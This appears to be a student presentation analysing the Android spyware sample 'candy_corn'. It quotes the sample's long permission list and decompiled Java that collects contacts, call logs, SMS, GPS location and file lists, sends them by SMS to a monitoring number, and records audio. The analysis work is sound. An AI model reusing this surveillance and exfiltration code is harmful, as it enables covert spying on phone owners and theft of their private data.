

# Mobile Malware Presentation: candy\_corn

---

Kendall Kelly

← → ↻ [github.com/ashishb/android-malware/tree/master/candy\\_corn](https://github.com/ashishb/android-malware/tree/master/candy_corn)


**Files**

master + 🔍

🔍 Go to file 🔍

- > BreakBottleneck
- > Comebot
- > Dendroid
- > Exodus
- > TrojanDownloader.Agent.JI
- > adware\_beauty
- > benews
- > braintest\_or\_ghostpush
- > brazilian\_android\_RAT
- ▼ **candy\_corn**
  - 📄 14d9f1a92dd984d6040cc41ed06e273e.apk
  - 📄 README

**android-malware / candy\_corn /** 📄

 **ashishb** First commit

| Name                                   | Last commit message |
|--|---------------------|
| ..                                     |                     |
| 📄 14d9f1a92dd984d6040cc41ed06e273e.apk | First commit        |
| 📄 README                               | First commit        |

**README**

<http://now.avg.com/malware-is-still-spying-on-you-after-your-mobile-is-off/>



# AndroidManifest.xml

```
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
```

sendSms

Auto search

Search definitions of:

☐ Class ☐ Method ☐ Field ☒ Code ☐ Resource ☐ Comments

Search options:

☒ Case-insensitive ☐ Regex ☐ Active tab only

Node

| Node   |  |
|--|--|
| com.google.progress.AndroidClientService.doByte(byte[])              | smsHelper.sendSms(gsmNumber, str5);                    |
| com.google.progress.AndroidClientService.doByte(byte[])              | int result = helper.sendSms(str7, "可以使用了");            |
| com.google.progress.AndroidClientService.sendMessage(String, String) | helper.sendSms(this.phoneNumber, "被监控手机联系人:" + c       |
| com.google.progress.AndroidClientService.sendMessage(String, String) | helper.sendSms(this.phoneNumber, "被监控手机通话记录:" +        |
| com.google.progress.AndroidClientService.sendMessage(String, String) | helper.sendSms(this.phoneNumber, "被监控手机短消息:" + sr      |
| com.google.progress.AndroidClientService.sendMessage(String, String) | helper.sendSms(this.phoneNumber, "被监控手机GPS位置:" +       |
| com.google.progress.AndroidClientService.sendMessage(String, String) | helper.sendSms(this.phoneNumber, "被监控手机文件列表:" +        |
| com.google.progress.AndroidClientService.AnonymousClass              | smsHelper.sendSms(gsmNumber, str);                     |
| com.google.progress.AndroidClientService.GpsBroadcast                | smsHelper.sendSms(gsmNumber, str);                     |
| com.google.progress.SMSHelper.sendSms(String, String)                | public int sendSms(String phonenumber, String smsMessa |

```
public int sendSms(String phonenumber, String smsMessage) {  
    SmsManager smsManager = SmsManager.getDefault();  
    PendingIntent mPI = PendingIntent.getBroadcast(this.context, 0, new Intent(), 0);  
    smsManager.sendTextMessage(phonenumber, null, smsMessage, mPI, null);  
    return 1;  
}
```



- Found in the AndroidClientService class
- The messages were translated using google translate
- Example: “被监控手机联系人” translates to “Monitored mobile phone contacts”

```
public void sendMessage() {
    SMSHelper helper = new SMSHelper(this);
    String con = new ContactsCollector(this).getContactList();
    String cal = new GetCallLog(this).getInfo();
    String sms = new SMSHelper(this).getInfo();
    String gps = new Locate(this).getLocation();
    String file = new FileList().getInfo();
    if (con != null && con != "") {
        helper.sendSms(this.phoneNumber, "被监控手机联系人:" + con);
    }
    if (cal != null && cal != "") {
        helper.sendSms(this.phoneNumber, "被监控手机通话记录:" + cal);
    }
    if (sms != null && sms != "") {
        helper.sendSms(this.phoneNumber, "被监控手机短消息:" + sms);
    }
    if (gps != null && gps != "") {
        helper.sendSms(this.phoneNumber, "被监控手机GPS位置:" + new Locate(this).getLocation());
    }
    if (file != null && file != "") {
        helper.sendSms(this.phoneNumber, "被监控手机文件列表:" + file);
    }
}
```

File View Navigation Tools Help

f1a92dd984d6040cc41ed06e2  
source code

com

android.internal.telep

google.progress

AndroidClientService

AndroidSocketSR

APNMatchTools

APNOperator

AudioRecorder

BackgroundActivity

BootReceiver

CONSTANTS

ContactConstant

ContactsCollector

cr ContentResolver

ContactsCollector

getContactList()

getEmail(String)

getPhoneNumbers(String)

FileList

FileUtils

GetCallLog

context Context

GetCallLog(Context)

getCallLog() String

getInfo() String

GetInfomation

Gps

Locate

<
AndroidClientService
GetCallLog
GetInfomation
ContactsCollector
>

```

/* loaded from: classes.dex */
12 public class ContactsCollector {
    private ContentResolver cr;

13     public ContactsCollector(Context context) {
15         this.cr = context.getContentResolver();
    }

18     public String getContactList() {
19         StringBuilder contactsBuffer = new StringBuilder();
20         Cursor cursorOfContact = this.cr.query(Contacts.People.CONTENT_URI, null, null, null, null);
21         if (cursorOfContact != null) {
22             if (cursorOfContact.moveToFirst()) {
23                 do {
24                     String contactId = cursorOfContact.getString(cursorOfContact.getColumnIndex("_id"));
25                     String phoneNumbers = getPhoneNumbers(contactId, cursorOfContact);
26                     String name = cursorOfContact.getString(cursorOfContact.getColumnIndex("display_name"));
27                     getEmail(contactId);
28                     if (name == null) {
29                         name = "未命名";
36                     contactsBuffer.append(String.valueOf(contactId) + " " + name + " " + phoneNumbers +
23                 } while (cursorOfContact.moveToNext());
38                 cursorOfContact.close();
            }
40             Log.i("tag", "ccc-->" + ((Object) contactsBuffer));
41             return contactsBuffer.toString();
        }
        return "被监控方未存储任何联系人信息 ! ";
    }

47     private String getPhoneNumbers(String contactId, Cursor cursorOfContact) {
48         StringBuffer phoneNumberBuffer = new StringBuffer();
51         Cursor cursorOfPhoneNumber = this.cr.query(Contacts.Phones.CONTENT_URI, null, "person=?", new

```

Issues:

12 warnings

Code

Smali

Simple

Fallback

☐ Split view

Another permission that seems malicious is RECORD\_AUDIO. In the source code I found a file called “AudioRecorder” which holds some suspicious methods.

These methods include two main methods, startRecording and stopRecording. There are also a few other methods that are used in the previously mentioned methods.

```

public boolean startRecording(String tempPath, String audioPath, boolean flag) {
    if (Environment.getExternalStorageState().equals("mounted")) {
        if (!this.isRecording && this.record == null) {
            initRecDir();
            this.tempPath = tempPath;
            this.audioPath = audioPath;
            createAudioRecord(flag);
            this.record.startRecording();
            this.isRecording = true;
            this.recordingThread = new Thread(new Runnable() { // from class: com.google.progress.AudioRecorder.1
                @Override // java.lang.Runnable
                public void run() {
                    AudioRecorder.this.writeAudioDataToFile();
                }
            }, "AudioRecorder Thread");
            this.recordingThread.start();
            Log.e("audio", "开始录音成功");
            return true;
        }
        Log.e("audio", "开始状态错误, 录音失败-----record-----isRecording---->" + this.record + "----->" + this.isRecording);
        Log.e("audio", "正在录音中.....");
        return false;
    }
    Log.e("audio", "没有SD卡录音失败");
    return false;
}

```



```
public boolean stopRecording() {  
    if (this.record != null && this.isRecording) {  
        this.isRecording = false;  
        this.record.stop();  
        this.record.release();  
        this.record = null;  
        this.recordingThread = null;  
        copyWaveFile(this.tempPath, this.audioPath);  
        deleteTempFile();  
        Log.e("audio", "停止录音成功");  
        Log.e("audio", "录音文件路径---->" + this.audioPath);  
        return true;  
    }  
    Log.e("audio", "状态错误停止录音失败----record-----isRecording---->" + this.record + "----->" + this.isRecording);  
    Log.e("audio", "未开启录音.....");  
    return false;  
}  
  
public void deleteTempFile() {  
    File file = new File(this.tempPath);  
    file.delete();  
}
```

```

public void copyWaveFile(String inFilename, String outFilename) {
    IOException e;
    FileNotFoundException e2;
    FileOutputStream out;
    long j = 0 + 36;
    long byteRate = (705600 * 2) / 8;
    byte[] data = new byte[this.bufferSizeInBytes];
    try {
        FileInputStream in = new FileInputStream(inFilename);
        try {
            out = new FileOutputStream(outFilename);
        } catch (FileNotFoundException e3) {
            e2 = e3;
        } catch (IOException e4) {
            e = e4;
        }
        try {
            long totalAudioLen = in.getChannel().size();
            long totalDataLen = totalAudioLen + 36;
            WriteWaveFileHeader(out, totalAudioLen, totalDataLen, 44100L, 2, byteRate);
            while (in.read(data) != -1) {
                out.write(data);
            }
            in.close();
            out.close();
        } catch (FileNotFoundException e5) {
            e2 = e5;
            e2.printStackTrace();
        } catch (IOException e6) {
            e = e6;
            e.printStackTrace();
        }
    } catch (FileNotFoundException e7) {
        e2 = e7;
    } catch (IOException e8) {
        e = e8;
    }
}

```

# Conclusions

```
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
```